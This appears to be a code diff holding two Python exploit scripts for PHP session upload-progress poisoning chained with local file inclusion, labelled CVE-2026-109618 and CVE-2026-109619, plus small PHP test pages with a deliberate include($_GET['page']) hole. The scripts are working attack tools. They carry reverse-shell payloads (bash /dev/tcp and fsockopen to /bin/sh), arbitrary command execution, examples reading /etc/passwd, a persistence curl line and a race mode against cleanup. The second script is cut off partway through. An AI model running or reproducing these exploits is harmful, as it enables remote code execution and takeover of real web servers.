SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
# ─── multipart builder ───────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── HTTP helpers ────────────────────────────────────────────────────
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def http_get(host, port, tls, path, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout)
sock.close()
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out = b""
data = raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
# ─── Phase 1: poison session + crash worker ──────────────────────────
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
chunked=True):
"""Send multipart: upload progress + file + OOM fields.
Returns (http_status_or_0, fields_sent_before_crash).
When chunked=False, builds full body with Content-Length. Required
when nginx has fastcgi_request_buffering off — chunked bodies bypass
PHP's multipart parser in that configuration.
"""
if not chunked:
return _phase1_contentlength(host, port, tls, path, bnd, sid,
php_code, fields, fsize)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
# 2. File upload — triggers progress handler, session flushed to disk
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
sent = 0
for start in range(0, fields, BATCH):
end = min(start + BATCH, fields)
batch = b""
for i in range(start, end):
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
try:
send_chunk(sock, batch)
sent = end
except (BrokenPipeError, ConnectionResetError, OSError):
break
try:
send_chunk(sock, mp_end(bnd))
sock.sendall(b"0\r\n\r\n")
except:
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), sent
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
fields, fsize):
"""Content-Length variant — builds the full body then sends it."""
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), fields
# ─── Phase 2: LFI include of session file ───────────────────────────
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
"""Try including the session file via common paths."""
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
return resp, sess
except:
continue
return None, None
# ─── main ────────────────────────────────────────────────────────────
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
sid = args.session_id or os.urandom(16).hex()
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
# Build PHP payload
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Session ID : {sid}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} × {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# ── Phase 0: verify target ──
print("[*] Phase 0: checking target...")
try:
r0 = http_get(host, port, tls, path, timeout=5)
sc = status_code(r0)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — target alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# ── Phase 1: poison session + crash ──
print()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Injecting {len(php_code)}B PHP code into session key...")
use_chunked = not args.no_chunked
if not use_chunked:
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
status, fields_sent = phase1(
host, port, tls, path, bnd, sid,
php_code, args.fields, args.field_size,
chunked=use_chunked,
)
if status == 502 or status == 0:
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
elif status == 500:
print(f" [+] HTTP 500 — OOM during script (worker survived)")
else:
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(1.5)
for i in range(8):
try:
r1 = http_get(host, port, tls, path, timeout=3)
sc1 = status_code(r1)
if sc1 in (200, 301, 302, 403, 404):
print(f" New worker ready (HTTP {sc1})")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available after 8 retries")
sys.exit(1)
# ── Phase 2: LFI trigger ──
print()
print("[*] Phase 2: including poisoned session file via LFI...")
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
if resp is None:
print(" [!] Session file not found at any common path")
print(f" Try: --session-path /actual/path")
print(f" File: sess_{sid}")
sys.exit(1)
output = body_of(resp).decode(errors="replace")
print(f" Session file: {sess_path}")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
if m:
print()
print(f"[+] Code execution confirmed!")
print(f" {m.group(1)}")
else:
print(f" [*] Session file exists but code may not have executed")
print(f" Response: {output[:200]}")
return
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved via CVE-2026-109618!")
print()
print("[*] For continued access:")
cmd_b64 = base64.b64encode(b"id").decode()
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
else:
print()
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
print(f"[*] Session file for re-exploitation: {sess_path}")
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
--session-path /var/lib/php/sessions --lfi-param tpl
""")
ap.add_argument("-t", "--target", required=True, help="Target URL")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vuln without RCE payload")
ap.add_argument("--session-path",
help="session.save_path on target (default: common paths)")
ap.add_argument("--session-id",
help="Force PHPSESSID (default: random hex)")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
help=f"Bytes per field (default: {FIELD_SIZE})")
ap.add_argument("--no-chunked", action="store_true",
help="Use Content-Length instead of chunked encoding "
"(required when nginx has fastcgi_request_buffering off)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-11
View File
@@ -1,11 +0,0 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
$n = count($_POST);
$files = count($_FILES);
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
-20
View File
@@ -1,20 +0,0 @@
<?php
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$sess_data = isset($_SESSION) ? $_SESSION : null;
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
header('Content-Type: text/plain');
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
echo "session_payload_len=$sess_payload_len\n";
-686
View File
@@ -1,686 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109619 — RCE via PHP session upload progress
PHP's session.upload_progress feature (enabled by default) writes
upload progress data to the session file during multipart request
parsing. The progress key stored in the session is constructed as:
session.upload_progress.prefix + $_POST[session.upload_progress.name]
The attacker controls the POST field value, and the session file
serializer (php format) stores the key VERBATIM — the only character
filtered is '|' (the key/value delimiter). This means arbitrary
bytes, including PHP code, are written into the session file on disk.
The session file path is predictable:
<session.save_path>/sess_<PHPSESSID>
Common default paths:
/tmp/sess_*
/var/lib/php/sessions/sess_*
Exploitation:
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
embedded PHP code: <?php system($cmd); ?>
2. The upload progress callback writes this to the session file.
3. Include the session file via any local-file-include vector:
- Direct include() / require() with attacker-controlled path
- PHP stream wrappers (php://filter)
- Log/session file inclusion (a classic PHP attack)
4. The PHP engine parses the session file, finds the <?php ?> tag
within the serialized data, and executes the injected code.
The exploit automates all steps: it obtains a session ID, injects code
via upload progress, and triggers inclusion for RCE.
Requirements
------------
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
- session.serialize_handler = php (default)
- Target endpoint calls session_start()
- An LFI vector OR known session save path + include primitive
- Tested on PHP 8.0–8.4 x86_64 Linux
Usage
-----
# Reverse shell via LFI
python3 exploit.py --target http://target/app.php \\
--lfi-param page \\
--session-path /tmp \\
--lhost 10.0.0.1 --lport 4444
# Trigger-only (write code to session, report path)
python3 exploit.py --target http://target/app.php --trigger-only
# Custom command
python3 exploit.py --target http://target/app.php \\
--lfi-param page --session-path /tmp \\
--cmd "id > /tmp/pwned"
"""
import argparse
import io
import os
import socket
import sys
import time
import re
import threading
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
DEFAULT_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/session",
]
# ---------------------------------------------------------------------------
# Multipart helpers
# ---------------------------------------------------------------------------
def multipart_field(name: bytes, value: bytes) -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n"
)
def multipart_file(name: bytes, filename: bytes, content: bytes,
content_type: bytes = b"application/octet-stream") -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: " + content_type + b"\r\n"
b"\r\n" + content + b"\r\n"
)
def multipart_end() -> bytes:
return b"--" + BOUNDARY + b"--\r\n"
# ---------------------------------------------------------------------------
# Payload construction
# ---------------------------------------------------------------------------
def make_php_payload(cmd: str) -> bytes:
"""Craft PHP code to inject into the session file via progress key.
The code is embedded in the progress key prefix, so it ends up as:
upload_progress_<PHP_CODE>
in the session file. When the file is included, PHP parses and
executes the <?php ?> block."""
return f'<?php {cmd} ?>'.encode()
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
cmd = (
f"$sock=fsockopen('{lhost}',{lport});"
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
)
return make_php_payload(cmd)
def make_cmd_payload(cmd: str) -> bytes:
return make_php_payload(f'system("{cmd}");')
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets for precision)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host: str, port: int, tls: bool):
sock = socket.create_connection((host, port), timeout=10)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5) -> bytes:
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
headers = resp[:hdr_end]
# Check Content-Length
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
if m:
cl = int(m.group(1))
body_so_far = len(resp) - hdr_end
while body_so_far < cl:
more = sock.recv(8192)
if not more:
break
resp += more
body_so_far += len(more)
break
# Check chunked
if b'Transfer-Encoding: chunked' in headers:
if b"\r\n0\r\n" in resp:
break
continue
# No CL, no chunked — read until timeout
try:
more = sock.recv(4096)
if more:
resp += more
except socket.timeout:
pass
break
except socket.timeout:
pass
return resp
def _send_http(sock, method: bytes, host: str, path: str,
body: bytes = b"", headers: dict = None,
content_type: bytes = None, keepalive: bool = True) -> bytes:
conn = b"keep-alive" if keepalive else b"close"
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
req += b"Host: " + host.encode() + b"\r\n"
if content_type:
req += b"Content-Type: " + content_type + b"\r\n"
if body:
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"Connection: " + conn + b"\r\n"
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"\r\n"
sock.sendall(req + body)
return _recv_response(sock)
def _extract_cookies(resp: bytes) -> dict:
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def _decode_chunked(data: bytes) -> bytes:
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
size_str = data[:line_end].split(b";")[0].strip()
try:
chunk_len = int(size_str, 16)
except ValueError:
break
if chunk_len == 0:
break
start = line_end + 2
out += data[start:start + chunk_len]
data = data[start + chunk_len + 2:]
return out
def _extract_body(resp: bytes) -> bytes:
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_code(resp: bytes) -> int:
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
# ---------------------------------------------------------------------------
# Exploit phases
# ---------------------------------------------------------------------------
def phase1_get_session(sock, host, path) -> str:
"""Get a valid PHPSESSID from the target."""
resp = _send_http(sock, b"GET", host, path)
cookies = _extract_cookies(resp)
sid = cookies.get("PHPSESSID")
if not sid:
body = _extract_body(resp)
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
if m:
sid = m.group(1).decode()
return sid
def phase2_inject(sock, host, path, session_id: str,
php_code: bytes) -> tuple:
"""Inject PHP code into the session file via upload progress."""
body = io.BytesIO()
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
# fields — PHP processes form fields in order and initialises the
# progress tracker when it sees this field.
body.write(multipart_field(PROGRESS_FIELD, php_code))
# A file upload is required to trigger the progress write-back.
# The callback only writes progress data on FILE_START/DATA/END events.
body.write(multipart_file(
b"file", b"payload.bin",
b"\x00" * 8192,
))
body.write(multipart_end())
body_bytes = body.getvalue()
ct = b"multipart/form-data; boundary=" + BOUNDARY
resp = _send_http(
sock, b"POST", host, path,
body=body_bytes,
content_type=ct,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
return _status_code(resp), _extract_body(resp)
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
"""Send a slow multipart upload to keep session file populated.
Used for race condition against cleanup=1: the session file contains
our PHP code during the entire upload. A concurrent request can
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
"""
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = _connect(host, port, tls)
# Build progress field + start of file upload
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total_body = len(head) + file_size + len(tail)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total_body).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(req + head)
chunk = b"\x00" * 4096
sent = 0
start_time = time.time()
try:
while sent < file_size and (time.time() - start_time) < duration:
to_send = min(4096, file_size - sent)
sock.sendall(chunk[:to_send])
sent += to_send
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
_recv_response(sock, timeout=2)
except:
pass
sock.close()
def phase3_include(sock, host, path, session_id: str,
session_path: str, lfi_param: str) -> tuple:
"""Trigger LFI to include the poisoned session file."""
sess_file = f"{session_path}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=False,
)
return _status_code(resp), _extract_body(resp)
# ---------------------------------------------------------------------------
# Session path discovery
# ---------------------------------------------------------------------------
def discover_session_path(sock, host, path, session_id: str,
lfi_param: str, paths: list) -> str:
"""Try common session save paths to find the right one."""
for sp in paths:
sess_file = f"{sp}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
body = _extract_body(resp)
status = _status_code(resp)
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
return sp
return ""
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def run(target: str, lhost: str, lport: int, trigger_only: bool,
cmd: str, lfi_param: str, session_path: str, attempts: int,
race: bool = False):
host, port, tls, path = _parse_url(target)
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
print(f"[*] Target: {target}")
if trigger_only:
print(f"[*] Mode: trigger-only (inject code, report path)")
elif cmd:
print(f"[*] Mode: command execution")
print(f"[*] Command: {cmd}")
else:
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
if race:
print(f"[*] Race: enabled (works with cleanup=1)")
print()
# Build payload
if trigger_only:
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
elif cmd:
cmd_safe = cmd.replace('"', '\\"')
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
else:
if not lhost or not lport:
print("[!] --lhost and --lport required for reverse shell mode")
sys.exit(1)
php_code = make_reverse_shell_payload(lhost, lport)
# Race condition mode: send slow upload + concurrent LFI
if race and lfi_param:
return _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sock = _connect(host, port, tls)
# Phase 1: Get session ID
print("[*] Phase 1: Obtaining session ID...")
sid = phase1_get_session(sock, host, path)
if not sid:
sid = os.urandom(13).hex()
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
else:
print(f"[+] PHPSESSID: {sid}")
# Phase 2: Inject PHP code via upload progress
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
status, body = phase2_inject(sock, host, path, sid, php_code)
print(f" Response: HTTP {status}")
if status == 200:
print("[+] Upload progress request accepted — code injected into session file")
elif status == 502:
print("[!] 502 — worker crashed. Retrying...")
sock.close()
time.sleep(0.5)
continue
else:
print(f"[!] Unexpected status {status}")
if trigger_only:
print()
print("[+] Session file poisoned successfully.")
print(f"[*] Session ID: {sid}")
print(f"[*] The session file contains injected PHP code.")
print(f"[*] Common session file locations:")
for sp in DEFAULT_SESSION_PATHS:
print(f" {sp}/sess_{sid}")
print()
print("[*] To verify, include the session file via LFI:")
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
print()
print("[*] Or check the file directly on the target server:")
print(f" cat /tmp/sess_{sid}")
print(f" strings /var/lib/php/sessions/sess_{sid}")
sock.close()
return True
# Phase 3: Trigger inclusion
if not lfi_param:
print()
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
print(f"[*] Trigger manually: include the session file via LFI")
print(f" {target}?PARAM={session_path}/sess_{sid}")
sock.close()
return True
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
if not session_path:
print("[*] No --session-path given, trying common paths...")
session_path = discover_session_path(
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
if session_path:
print(f"[+] Found session path: {session_path}")
else:
print("[!] Could not auto-detect session path. Try --session-path")
sock.close()
continue
# Need a fresh connection (the POST consumed the keepalive)
try:
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
except (BrokenPipeError, ConnectionResetError, OSError):
sock.close()
sock = _connect(host, port, tls)
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
print(f" Response: HTTP {status}")
body_text = body.decode(errors='replace')
if "CVE-2026-109619:" in body_text:
# Trigger-only canary found in output
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0].split("\x00")[0][:200]
print(f"[+] CODE EXECUTION CONFIRMED!")
print(f" Output: {marker}")
sock.close()
return True
elif cmd and status == 200:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
output = m.group(1).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
sock.close()
return True
elif "upload_progress_" in body_text:
print(f"[+] Session file included but code may not have executed")
print(f" (serialized session data visible in response)")
sock.close()
return True
else:
print(f"[!] Inclusion did not produce expected output. Body preview:")
print(f" {body_text[:300]}")
elif not cmd and not trigger_only and status == 200:
print(f"[*] Request sent — check listener on {lhost}:{lport}")
sock.close()
return True
else:
print(f"[!] Inclusion may have failed. Body preview:")
print(f" {body_text[:200]}")
sock.close()
print()
print()
if trigger_only:
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
elif cmd or (lhost and lport):
print("[*] Done. If RCE did not fire, check:")
print(" - session.upload_progress.enabled = 1")
print(" - session.serialize_handler = php (default)")
print(" - LFI parameter name (--lfi-param)")
print(" - Session save path (--session-path)")
return False
def _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts):
"""Race condition mode: works with session.upload_progress.cleanup=1.
Sends a slow multipart upload to keep the session file populated with
our PHP code, while concurrently trying to include it via LFI.
"""
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
print(f"[+] Session ID: {sid}")
# Start slow upload in background thread
print("[*] Starting slow upload (keeps session file alive)...")
upload_thread = threading.Thread(
target=phase2_inject_slow,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True,
)
upload_thread.start()
time.sleep(0.3)
# Race: try LFI repeatedly while upload is in progress
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
lfi_sid = os.urandom(16).hex()
print("[*] Racing LFI requests against upload...")
hit = False
for i in range(100):
if not upload_thread.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess_file}"
try:
sock = _connect(host, port, tls)
resp = _send_http(
sock, b"GET", host, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
keepalive=False,
)
sock.close()
body = _extract_body(resp)
body_text = body.decode(errors="replace")
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
hit = True
if "CVE-2026-109619:" in body_text:
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0][:200]
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
print(f" {marker}")
elif "CVE2026:" in body_text:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
print(result)
print("[+] ═════════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
return True
elif b"upload_progress_" in body:
print(f" [+] Session file found at {sp} — content visible")
if trigger_only:
print(f"[+] Session poisoning confirmed (race won)")
return True
except:
pass
time.sleep(0.02)
upload_thread.join(timeout=2)
if hit:
return True
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
print(" Try: --attempts 10 or check --session-path")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109619: PHP session upload progress → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
""")
p.add_argument("--target", "-t", required=True,
help="Target URL (PHP endpoint with session_start())")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
p.add_argument("--trigger-only", action="store_true",
help="Inject code into session file only — no inclusion/RCE")
p.add_argument("--lfi-param", default="",
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
p.add_argument("--session-path", default="",
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
p.add_argument("--race", action="store_true",
help="Race condition mode — works with cleanup=1 (default config)")
p.add_argument("--attempts", type=int, default=3,
